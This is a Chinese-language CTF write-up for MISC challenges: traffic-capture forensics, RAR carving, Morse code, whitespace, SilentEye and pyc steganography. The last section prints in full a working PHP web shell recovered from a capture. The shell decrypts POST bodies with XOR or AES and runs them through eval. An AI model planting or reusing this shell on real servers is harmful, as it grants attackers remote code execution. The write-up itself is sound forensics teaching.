CTF2MISC中等部分

菜刀流量

复制代码
5 条 TCP 连接 / 8 个 HTTP 请求
在Wire统计 → 会话 → TCP:能看到 5 条流,客户端端口 5482 / 5490 / 5498 / 5506 / 5512
cat flag.rar 的响应是二进制(文件 → 导出对象 → HTTP 里能直接另存)

找到了密码SuperHer0Masters

看到了rar压缩包其中包含flag.txt

切出rar

复制代码
offset  0..2    "->|"
offset  3..436  434 字节 RAR(Rar!\x1a\x07\x01\x00)
offset 437..    "[S]\n/var/www/html/admin/upload\n[E]\n|<-"
所以按签名定位、按 [S] 截断即可:
b = open("_dump/resp04_body.bin","rb").read()
start = b.find(b"Rar!\x1a\x07\x01\x00")      # 3
end   = b.find(b"[S]", start)                 # 437
open("flag.rar","wb").write(b[start:end])     # 434 字节

解码获取flag

老照片中的密码

题目描述为这张老照片中的人使用的是莫尔斯电报机,莫尔斯电报机分为莫尔斯人工电报机和莫尔斯自动电报机(简称莫尔斯快机)。莫尔斯人工电报机是一种最简单的电报机,由三个部分组成:电键、印码机构和纸条盘。发报主要利用电键拍发电报信号,按键的时间短就代表点,按键的时间长(点的三倍长)就代表"划",手抬起来不按电键就代表间隔。收报则通过长短来区分"点"、"划",既可进行人工抄收,也可用纸条记录器把不同长短的符号记录下来,后者比人工抄收更为可靠,可作为书面根据,便于查对。你知道她们手上的密码是什么吗?

莫斯密码直接秒了

加上flag{}

空白格

打开在线的whitespace在线解码网站

可以直接获取flag

隐秘的眼睛

使用SilentEye,什么都不用改,直接解码即可

奇怪的杂项

pyc隐写,用stegosaurus.py 记得用python3.6版本运行

需要准备一个python3.6的环境

最终的flag{217a5bcecea1be5eeca5028b06427b84}

MISC1

点击同统计,点击会话,只保留TCP

能看到 9 条连接,前四条端口 36505~36508 是扫描器

过滤栏输入 http.request,回车。33 条请求

找上传

多部分表单里能直接看到 <?php ... ?> 源码,复制出来就是 §2 那 667 字节

复制代码
-----------------------------157161195421310
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream

<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
}
?>
-----------------------------157161195421310--

知道是base64+AES

导出马:File → Export Objects → HTTP,列表里选 shell.php,Save 到一个目录

找密钥:过滤 http.request.uri contains "pass="

742e2ac07b25f020

看加密请求:过滤 http.request.method == "POST" && http.request.uri contains "shell.php",逐个 Follow → HTTP Stream,把 body 存成 .b64 文件

解密:用 §8.2 的脚本,或者任何 AES 工具

最终测试为该数据流

相关推荐
涛涛ing14 分钟前
那个PR太干净了,干净到我差点直接点了合并
前端
去伪存真16 分钟前
稠密检索负责脑补,稀疏检索负责兜底:拆解 RAG 倒排索引的“查字典”艺术
前端·agent
喵个咪1 小时前
GoWind 拆解:全链 ID 类型体系——int64 定版与前端字符串化契约
前端·后端·go
喵个咪1 小时前
GoWind CMS 拆解:Flutter 设计系统内核——双态 token、四档断点与自适应壳层
前端·flutter·交互设计
xys_6781 小时前
JavaEE通关手册:初识Java
java·开发语言
喵个咪2 小时前
GoWind CMS 拆解:发布审批——多级推进、逐级角色与全程留痕
前端·后端·go
YueTann2 小时前
mgtv5th-baseline学习
学习
喵个咪2 小时前
GoWind Flow 拆解:一个 Go 工作流引擎与它的双模式设计器
前端·后端·go
喵个咪2 小时前
GoWind Admin 拆解:打印模板设计器——从画布到服务端 PDF 的完整打印链路
前端·后端·go